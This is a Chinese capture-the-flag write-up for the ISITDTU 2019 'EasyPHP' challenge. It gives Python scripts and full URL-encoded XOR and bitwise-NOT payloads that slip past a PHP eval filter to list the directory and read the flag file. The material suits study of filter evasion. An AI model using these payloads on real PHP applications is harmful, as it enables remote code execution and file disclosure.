[ISITDTU 2019]EasyPHP

[ISITDTU 2019]EasyPHP

并非easy。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

只要绕过两个if就可以实现rce。

先看第一个正则匹配,

1
preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_)

这个正则匹配的字符包括:

  • 控制字符:ASCII 0~31(包括 \t, \n, \r 等);
  • 空格
  • 数字0–9
  • 标点符号' " $ & . , | [ { _`;
  • 字母d, e, f, g, o, p, s(及其大写);
  • ASCII 127(DEL)

再看第二个if:

1
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )

image-20251110154812637

查询php手册可以看到count_chars()mode为3时相当于统计字符种类数。

也就是说我们构造的payload里面字符种类不能超过13中。

看了一个师傅的博客发现使用这个脚本可以得到不被禁止的函数名,但是过滤结果没有可用函数。

[ISITDTU 2019]EasyPHP | 北歌

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}

//运行结果
bcmul
rtrim
trim
ltrim
chr
link
unlink
tan
atan
atanh
tanh
intval
mail
min
max
virtual

再看第一个if发现没有过滤掉~和^,我们可以考虑用按位取反。

1
2
3
4
<?php
$a="phpinfo";
echo urlencode(~$a);
//%8F%97%8F%96%91%99%90

执行成功后我们可以查看查看disable_functions看一下可用函数。

发现所有的命令执行的函数都被禁了。我们需要找到flag文件,我们可以使用scandir()或者glob()列目录,但它返回一个数组,我们还需要一个print_r或var_dump

1
print_r(scandir('.'));

直接暴力异或,但是发现字符种类数超了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# -*- coding: utf-8 -*-
import itertools

final_string = "print_r(scandir('.'));"
allowed = "!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\\]^abchijklmnqrtuvwxyz}~"

def hex0(x):
return "0x{:x}".format(x)

def pct_join(bs):
return "".join("%%%02x" % (b & 0xff) for b in bs)

def main():
# Part 1: exhaustive listing
for a in final_string:
oa = ord(a)
for i in allowed:
oi = ord(i)
for p in allowed:
op = ord(p)
if (oi ^ op) == oa:
print(f"i={hex0(oi)} p={hex0(op)} a={hex0(oa)}")

# Part 2: exact payload expression
s1 = "print_r"
s2 = "scandir"
dot = "."

I1 = [ord(c) ^ 0xff for c in s1]
I2 = [ord(c) ^ 0xff for c in s2]
D1 = ord(dot) ^ 0xff

FF7_pct = "%ff"*7

payload = (
final_string
+ "=="
+ f"(({pct_join(I1)})^({FF7_pct}))"
+ f"((({pct_join(I2)})^({FF7_pct}))(%{D1:02x}^%ff));"
)
print(payload)

# Optional: verify equals the exact required string


if __name__ == "__main__":
main()

print_r(scandir('.'));==((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

解决思路是在这16个不重复字符里删减一些,删减的字符用其他字符异或来表示。
主要是和%ff异或的那些字符串。其他都是固定的。

用的是a^b^c=d,把a^b^c替换原来的d,再和%ff异或。
即原来的d^%ff = a^b^c^%ff

用脚本筛选一下可以被替换掉的字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# xor_subs_no_forbidden.py
from itertools import product

TARGET = "print_r(scandir('.'));"

# 不允许作为“材料字符”(x/y/z)参与异或的字面字符:
# 注意:这是“字面字符集”的限制,与运算符 ^ 无关。
FORBIDDEN_BASE = set("^;().'_") # <- 你要求的:不要把 ^ 和 ; 用作材料

# 是否允许引入额外的“材料字符”(不在目标串中)
ALLOW_EXTRA_BASE = False
EXTRA_BASE = "" # 例如: "_(){}";只有在 ALLOW_EXTRA_BASE=True 时才生效

def o(c): return ord(c)

def find_subs(base_chars, target_chars):
base_codes = [o(c) for c in base_chars]
# 预建 2 元、3 元查表:值->(x,y, [z])
table2 = {}
for x, y in product(base_codes, repeat=2):
table2.setdefault(x ^ y, []).append((x, y))
table3 = {}
for x, y, z in product(base_codes, repeat=3):
table3.setdefault(x ^ y ^ z, []).append((x, y, z))

subs2, subs3 = {}, {}
for t in target_chars:
ot = o(t)
if ot in table2:
subs2[t] = [(chr(x), chr(y)) for x, y in table2[ot]]
if ot in table3:
subs3[t] = [(chr(x), chr(y), chr(z)) for x, y, z in table3[ot]]
return subs2, subs3

def main():
uniq = sorted(set(TARGET))
print(f"[*] target: {TARGET}")
print(f"[*] unique chars ({len(uniq)}): {''.join(uniq)}")

# 基字符集合:默认用目标串已有字符;去掉禁用字面字符
base_set = (set(uniq) - FORBIDDEN_BASE)
if ALLOW_EXTRA_BASE:
base_set |= set(EXTRA_BASE)

base = sorted(base_set)
print(f"[*] base (excluded {FORBIDDEN_BASE}): {''.join(base)} (count={len(base)})")

# 查找 2 元 / 3 元替代(材料都来自 base)
subs2, subs3 = find_subs(base, uniq)

# 打印每个目标字符的部分替代方案(避免过长,这里各列举最多 6 条)
LIM = 6
print("\n== 2-term XOR (t = x ^ y), up to 6 examples ==")
for t in uniq:
if t in subs2:
ex = " , ".join(f"{a}^{b}" for a, b in subs2[t][:LIM])
print(f" {repr(t)}: {ex}")

print("\n== 3-term XOR (t = x ^ y ^ z), up to 6 examples ==")
for t in uniq:
if t in subs3:
ex = " , ".join(f"{a}^{b}^{c}" for a, b, c in subs3[t][:LIM])
print(f" {repr(t)}: {ex}")

# 可移除性:把某个字符从“可用材料”里剔除后,能否由剩余 base 合成它?
print("\n== Removability check (can t be rebuilt from BASE without using t and forbidden?) ==")
for t in uniq:
# 这个检查的语义:我们想“删掉 t 这个字面字符”,看看还能不能用剩余 base 合成 t
reduced_base = sorted((set(base) - {t}))
s2, s3 = find_subs(reduced_base, [t])
ok = (t in s2) or (t in s3)
print(f" remove {repr(t)} ? {'YES (rebuildable)' if ok else 'NO'}")

if __name__ == "__main__":
main()

我们使用

1
2
3
a = c^p^r
d = s^c^t
n = i^s^t

替换成print_r(sca(a = c^p^r).(n = i^s^t).(d = s^c^t).ir('.'));再进行取反,最后得出了payload。

1
print_r(scandir(.));=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

将其传入得到当前目录的文件:

Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )

这个文件名太长了,直接cat我们替换字符不好找,可以用一些函数直接读数组最后一位。

使用end()可以返回数组的最后一项:

image-20251110184305356

构造readfile(end(scandir(.)))即可。

可以被替代的字符:

1
2
3
4
5
r = s^d^e

f = c^l^i

n = c^l^a

同样的方法构造payload:

1
show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

references:

[ISITDTU 2019]EasyPHP – 「配枪朱丽叶。」

https://kinseyy.github.io/2024/07/25/ISITDTU-2019-EasyPHP/


[ISITDTU 2019]EasyPHP
http://example.com/2025/11/10/ISITDTU-2019-EasyPHP/
作者
everythingis-ok
发布于
2025年11月10日
许可协议